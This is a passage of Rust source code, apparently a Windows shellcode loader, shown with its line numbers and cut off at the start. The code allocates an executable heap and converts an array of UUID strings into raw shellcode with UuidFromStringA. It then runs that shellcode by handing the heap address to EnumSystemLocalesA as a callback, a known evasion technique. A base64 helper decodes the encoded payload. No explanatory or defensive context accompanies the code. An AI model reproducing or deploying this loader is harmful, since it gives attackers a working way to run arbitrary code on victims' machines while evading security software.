HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0); 5 | let h_addr = HeapAlloc(h_heap, 0, 0x100000); 6 | 7 | let mut p_addr = h_addr as DWORD_PTR; 8 | 9 | 10 | // Planting Shellcode From UUID Array onto Allocated Heap Memory 11 | for i in 0..SIZE { 12 | let cstr = CString::new(uuidarr[i]).unwrap(); 13 | let g_addr = cstr.as_ptr() as *mut u8; 14 | let status: RPC_STATUS = UuidFromStringA(g_addr, p_addr as *mut GUID); 15 | if status != windows::Win32::System::Rpc::RPC_STATUS(0) { 16 | if status == windows::Win32::System::Rpc::RPC_STATUS(1705) { 17 | process::exit(0x0001); 18 | } 19 | } 20 | p_addr += 16; 21 | } 22 | 23 | // Calling the Callback Function 24 | EnumSystemLocalesA(transmute::<*mut winapi::ctypes::c_void, LOCALE_ENUMPROCA>(h_addr), 0); 25 | CloseHandle(h_heap); 26 | process::exit(0x0000); 27 | } 28 | } 29 | 30 | fn base64_decode(shellcode:String)->String{ 31 | let x = base64::decode_config(shellcode,base64::STANDARD_NO_PAD).unwrap(); 32 | String::from_utf8(x).unwrap() 33 | } --------------------------------------------------------------------------------